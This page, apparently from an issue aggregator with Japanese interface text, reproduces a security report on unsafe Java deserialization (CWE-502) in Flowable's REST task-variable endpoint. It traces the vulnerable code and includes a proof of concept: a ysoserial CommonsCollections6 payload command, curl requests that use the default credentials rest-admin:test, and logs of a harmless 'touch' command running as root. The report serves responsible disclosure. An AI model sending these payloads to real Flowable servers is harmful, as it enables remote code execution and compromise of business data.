[SECURITY] Deserialization RCE via PUT /runtime/tasks/{taskId}/variables/{variableName} with type=serializable (CWE-502, CVSS 8.1)
まだ誰も着手していません。
評価
- 難易度
- 5/5
- 見積もり時間
- 1週間以上
- 初心者へのやさしさ
- 30/100
調査の方向性
Start with TaskVariableResource.updateVariable and TaskVariableBaseResource.setBinaryVariable, especially the multipart serializable path around ObjectInputStream.readObject() and the rest.variables.allow.serializable default. Trace the endpoint and configuration behavior, then establish a safe, tested handling path for uploaded serialized data; done means attacker-controlled input is not deserialized unsafely in the default deployment.
索引モデルが issue の本文から書いたものです。
説明
Security Vulnerability Report -- CWE-502
Summary
The Flowable REST API's PUT /runtime/tasks/{taskId}/variables/{variableName} endpoint, when handling multipart/form-data requests with the type parameter set to 'serializable', directly uses ObjectInputStream.readObject() to perform Java native deserialization on uploaded files without any class whitelist/blacklist filtering. This feature is enabled by default (rest.variables.allow.serializable=true), allowing an authenticated attacker to achieve remote code execution (RCE) by crafting a malicious serialized object (CommonsCollections6 gadget chain).
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The Flowable REST API's TaskVariableResource.updateVariable endpoint (PUT /runtime/tasks/{taskId}/variables/{variableName}) supports uploading task variables via multipart/form-data. When the request's type parameter is serializable, the system directly uses java.io.ObjectInputStream.readObject() to perform Java native deserialization on the uploaded file stream, without any class whitelist, ObjectInputFilter, or security filtering mechanism. Since the rest.variables.allow.serializable configuration property defaults to true, this vulnerability is triggerable in default deployments. An authenticated attacker can upload a serialized object containing a malicious gadget chain (e.g., CommonsCollections6, as commons-collections-3.2.2.jar is present in the server classpath) to achieve arbitrary code execution (RCE) on the server.
Exploitation Prerequisites
| Condition | Description |
|---|---|
| Authentication | Requires valid Basic Auth credentials for the Flowable REST API (@Authorization(value = "basicAuth")). Flowable's default installation creates demo users (rest-admin/test), and many production environments retain default credentials. |
| Network Accessibility | REST API port reachable (internal or external network). Attacker only needs access to the Flowable REST API. |
| Configuration Dependency | Exploitable with default configuration: rest.variables.allow.serializable defaults to true (see TaskVariableBaseResource.afterPropertiesSet()), no additional configuration required. |
| Business Prerequisites | At least one Task must exist in the target Flowable instance, and a variable must exist on that Task for the PUT update. This can be produced through normal operation of the process engine. |
| Classpath Dependency | An exploitable deserialization gadget chain must exist in the server classpath. Flowable 7.1.0 WAR deployment includes commons-collections-3.2.2.jar, making the CommonsCollections6 gadget chain directly exploitable. |
Trigger Location
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/task/TaskVariableBaseResource.java:184-185
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← Unsafe deserialization, no filtering
setVariable(task, variableName, value, scope, isNew);
stream.close();
}
Data Flow Overview
PUT /runtime/tasks/{taskId}/variables/{variableName}
Content-Type: multipart/form-data
Parameters: name=<variable_name>, type=serializable, file=<malicious serialized object>
↓
TaskVariableResource.updateVariable (TaskVariableResource.java:94-130)
request instanceof MultipartHttpServletRequest → true
↓
setBinaryVariable((MultipartHttpServletRequest) request, task, false) (TaskVariableBaseResource.java:123)
Parses form parameters: name, type, scope
variableType = "serializable"
↓
isSerializableVariableAllowed == true (default)
↓
new ObjectInputStream(file.getInputStream()).readObject() (TaskVariableBaseResource.java:184-185)
→ Deserializes attacker-controlled byte stream → RCE
Data Flow Detailed Code Analysis
Chain 1: multipart/form-data → Unsafe Deserialization
Layer 1: HTTP Entry (TaskVariableResource.java:94-130)
@PutMapping(value = "/runtime/tasks/{taskId}/variables/{variableName}",
produces = "application/json",
consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(
@PathVariable("taskId") String taskId,
@PathVariable("variableName") String variableName,
@RequestParam(value = "scope", required = false) String scope,
HttpServletRequest request) {
Task task = getTaskFromRequestWithoutAccessCheck(taskId);
// ...
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, task, false);
}
- External input:
HttpServletRequest(including multipart file and form parameters),taskId(path parameter) - Operation: After verifying taskId exists, checks whether the request is
MultipartHttpServletRequest. If so, directly callssetBinaryVariable - Data transfer: The entire multipart request (including file stream and form parameters) is passed to
setBinaryVariable
Layer 2: Parameter Parsing and File Extraction (TaskVariableBaseResource.java:123-156)
protected RestVariable setBinaryVariable(MultipartHttpServletRequest request, Task task, boolean isNew) {
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
// ...
Map<String, String[]> paramMap = request.getParameterMap();
for (String parameterName : paramMap.keySet()) {
if ("type".equalsIgnoreCase(parameterName)) {
variableType = paramMap.get(parameterName)[0]; // ← Attacker controls type
}
}
- External input:
MultipartHttpServletRequest(including form parametersname,type,scopeand uploaded file) - Operation: Extracts
type(attacker sets to"serializable"),name,scopefrom form parameters; extracts the first file from multipart - Data transfer:
variableType = "serializable",file(malicious serialized byte stream) continues downward
Layer 3: Type Check Branch (TaskVariableBaseResource.java:164-191)
if (variableType != null) {
if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
}
}
// ...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
setVariable(task, variableName, variableBytes, scope, isNew);
} else if (isSerializableVariableAllowed) { // ← Default true
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: Unsafe deserialization
setVariable(task, variableName, value, scope, isNew);
stream.close();
}
- External input:
variableType(attacker controls to"serializable"),file(attacker-controlled byte stream) - Operation: When
variableTypeequals"serializable", enters the deserialization branch.isSerializableVariableAlloweddefaults totrue(initialized byenv.getProperty("rest.variables.allow.serializable", Boolean.class, true)), condition is satisfied. Then directly callsnew ObjectInputStream(file.getInputStream()).readObject() - Security checks: No filtering whatsoever. No
ObjectInputFilter, no class whitelist/blacklist, no customSecureObjectInputStream. The attacker-provided byte stream is fully trusted - Sink:
ObjectInputStream.readObject()automatically calls the malicious object'sreadObject()method during deserialization, triggering the gadget chain to execute arbitrary code
Configuration Default Value Confirmation (TaskVariableBaseResource.java:51-54)
@Override
public void afterPropertiesSet() {
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
}
- Default value is
true: Unless the deployer explicitly setsrest.variables.allow.serializable=false, the deserialization feature is enabled by default
CVSS Breakdown
CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Vector | Value | Reason |
|---|---|---|
| AV (Attack Vector) | Network (N) | Triggered via network HTTP request, no local access required |
| AC (Attack Complexity) | Low (L) | Attacker only needs to send a multipart HTTP request using a known gadget chain in the classpath |
| PR (Privileges Required) | Low (L) | Requires Basic Auth, but Flowable default deployment includes default credentials (rest-admin/test). Any authenticated user can trigger |
| UI (User Interaction) | None (N) | No user interaction required, attacker initiates the request |
| S (Scope) | Unchanged (U) | Vulnerability impact is limited to the Flowable server process itself |
| C (Confidentiality) | High (H) | RCE can read any server files, database credentials, process data |
| I (Integrity) | High (H) | RCE can tamper with process definitions, business data, inject malicious workflows |
| A (Availability) | High (H) | RCE can stop services, delete data, encrypt filesystem |
PoC Verification Report
Flowable REST TaskVariable PUT Endpoint Java Native Deserialization RCE
Vulnerability Summary
- Vulnerability Name: Flowable REST API TaskVariableResource.updateVariable Unsafe Deserialization RCE
- Affected Component/Port: Flowable REST API (default port 8080) / PUT
/runtime/tasks/{taskId}/variables/{variableName} - Vulnerability Brief: The PUT
/runtime/tasks/{taskId}/variables/{variableName}endpoint, when receiving multipart/form-data requests withtype=serializable, directly usesObjectInputStream.readObject()to deserialize the uploaded file content without any class filtering mechanism. In default configuration (rest.variables.allow.serializable=true), an authenticated attacker can achieve RCE via the CommonsCollections6 gadget chain. - Root Cause Code Snippet:
// TaskVariableBaseResource.java:182-187
} else if (isSerializableVariableAllowed) {
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← Unsafe deserialization, no filtering
setVariable(task, variableName, value, scope, isNew);
stream.close();
}
- Brief Data Flow:
PUT /runtime/tasks/{taskId}/variables/{variableName}
Content-Type: multipart/form-data
Parameters: name=testvar, type=serializable, file=<CC6 serialized payload>
↓
TaskVariableResource.updateVariable (TaskVariableResource.java:94)
request instanceof MultipartHttpServletRequest → true
↓
setBinaryVariable (TaskVariableBaseResource.java:123)
Extracts type="serializable", file=<attacker byte stream>
↓
isSerializableVariableAllowed == true (default)
↓
ObjectInputStream.readObject() (TaskVariableBaseResource.java:185)
→ Deserialization triggers CommonsCollections6 gadget chain → Runtime.exec() → RCE
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires Basic Auth (rest-admin:test are default credentials) |
| Network Accessibility | Internal/external network (REST API HTTP port reachable) |
| Configuration Dependency | Exploitable with default configuration (rest.variables.allow.serializable defaults to true) |
| Business Prerequisites | At least one Task must exist in the target instance, and a variable must already exist on the Task (PUT is an update operation) |
| Classpath Dependency | Server includes commons-collections-3.2.2.jar (Flowable 7.1.0 WAR includes by default) |
Exploitation Chain Progress
Successful Exploitation Example:
| Chain Stage | Location (file:line) | Status | Evidence / Notes |
|---|---|---|---|
| Entry | TaskVariableResource.java:94 | ✅ Connected | PUT multipart request received by MultipartHttpServletRequest branch |
| Parameter Parsing | TaskVariableBaseResource.java:152 | ✅ Connected | type="serializable" extracted, variableType set to "serializable" |
| Type Check | TaskVariableBaseResource.java:182 | ✅ Connected | isSerializableVariableAllowed defaults to true, enters deserialization branch |
| Sink | TaskVariableBaseResource.java:185 | ✅ Triggered | ObjectInputStream.readObject() deserialized CC6 payload, triggered touch /tmp/pwned_entry_0662 command execution |
| Conclusion | — | ✅ Full Chain Closed | RCE successful: server created file /tmp/pwned_entry_0662 |
Exploitation Verification
Step 1: Generate CommonsCollections6 Deserialization Payload
Use ysoserial to generate a serialized payload executing touch /tmp/pwned_entry_0662:
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned_entry_0662" \
> payload_cc6.bin
Step 2: Create an Initial Variable on the Target Task (PUT Update Requires Variable to Exist)
curl -s -u rest-admin:test \
-X POST "http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables" \
-H "Content-Type: application/json" \
-d '[{"name":"testvar","type":"string","value":"dummy"}]'
Returns:
[
{
"name": "testvar",
"type": "string",
"value": "dummy",
"scope": "local"
}
]
Step 3: Send Deserialization Payload to Trigger RCE
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables/testvar" \
-F "name=testvar" \
-F "type=serializable" \
-F "file=@payload_cc6.bin" \
-w "\nHTTP_CODE: %{http_code}\n"
Actual execution result: HTTP 200 OK, server returns variable updated to serializable type:
{"name":"testvar","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables/testvar/data","scope":"local"}
HTTP_CODE: 200
Verify RCE command execution success:
ls -la /tmp/pwned_entry_0662
Output:
-rw-r----- 1 root root 0 Aug 4 12:28 /tmp/pwned_entry_0662
Step 4: Second Verification (Different Task, Confirming Consistency)
Using a different Task ID and a different command touch /tmp/pwned_entry_0662_h2 for repeated verification:
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/tasks/0383aec9-8fff-11f1-a444-02423661ba3a/variables/testvar2" \
-F "name=testvar2" \
-F "type=serializable" \
-F "file=@payload_cc6_h2.bin" \
-w "\nHTTP_CODE: %{http_code}\n"
Verification:
ls -la /tmp/pwned_entry_0662_h2
Output:
-rw-r----- 1 root root 0 Aug 4 12:30 /tmp/pwned_entry_0662_h2
Conclusion: Two independent tests both successfully triggered RCE. The attacker only needs a valid Basic Auth credential (default rest-admin:test suffices) and a single HTTP PUT request to execute arbitrary system commands on the Flowable REST server with Tomcat process privileges (root). The root cause is ObjectInputStream.readObject() at lines 184-185 of TaskVariableBaseResource.java directly deserializing the attacker-uploaded file content without any class filtering mechanism, and this is enabled by default configuration.
Severity
CVSS v3.1: 8.1 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
- 主要言語
- Java
- スター
- 9.6k
- フォーク
- 2.9k
- 平均マージ
- 1時間 9分
- マージ済み PR(30日)
- 2
環境構築
- Dockerfile・Docker Compose ファイルなし
- プルリクエストのテンプレートあり
- コントリビューションガイドなし
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
flowable/flowable-engine のほかの issue
-
難易度 1/5 1時間未満 初心者へのやさしさ 88/100
flowable/flowable-engine#4268 ·
-
難易度 4/5 3〜5日 初心者へのやさしさ 35/100
flowable/flowable-engine#4292 ·
-
難易度 5/5 1週間以上 初心者へのやさしさ 30/100
flowable/flowable-engine#4291 ·
-
難易度 4/5 3〜5日 初心者へのやさしさ 48/100
flowable/flowable-engine#4290 ·
-
難易度 4/5 3〜5日 初心者へのやさしさ 35/100
flowable/flowable-engine#4289 ·
flowable/flowable-engine の issue をすべて見る
似ている issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 88/100
メンテナーはふだん 1 日以内に返信
-
難易度 1/5 1時間未満 初心者へのやさしさ 88/100
apache/arrow-java#1311 ·
メンテナーはふだん 2 日以内に返信
-
bug triage
難易度 2/5 1〜3時間 初心者へのやさしさ 85/100
-
難易度 2/5 1〜3時間 初心者へのやさしさ 88/100
メンテナーはふだん 1 日以内に返信
-
security
難易度 2/5 1〜3時間 初心者へのやさしさ 65/100
IBM/networking-java-sdk#204 ·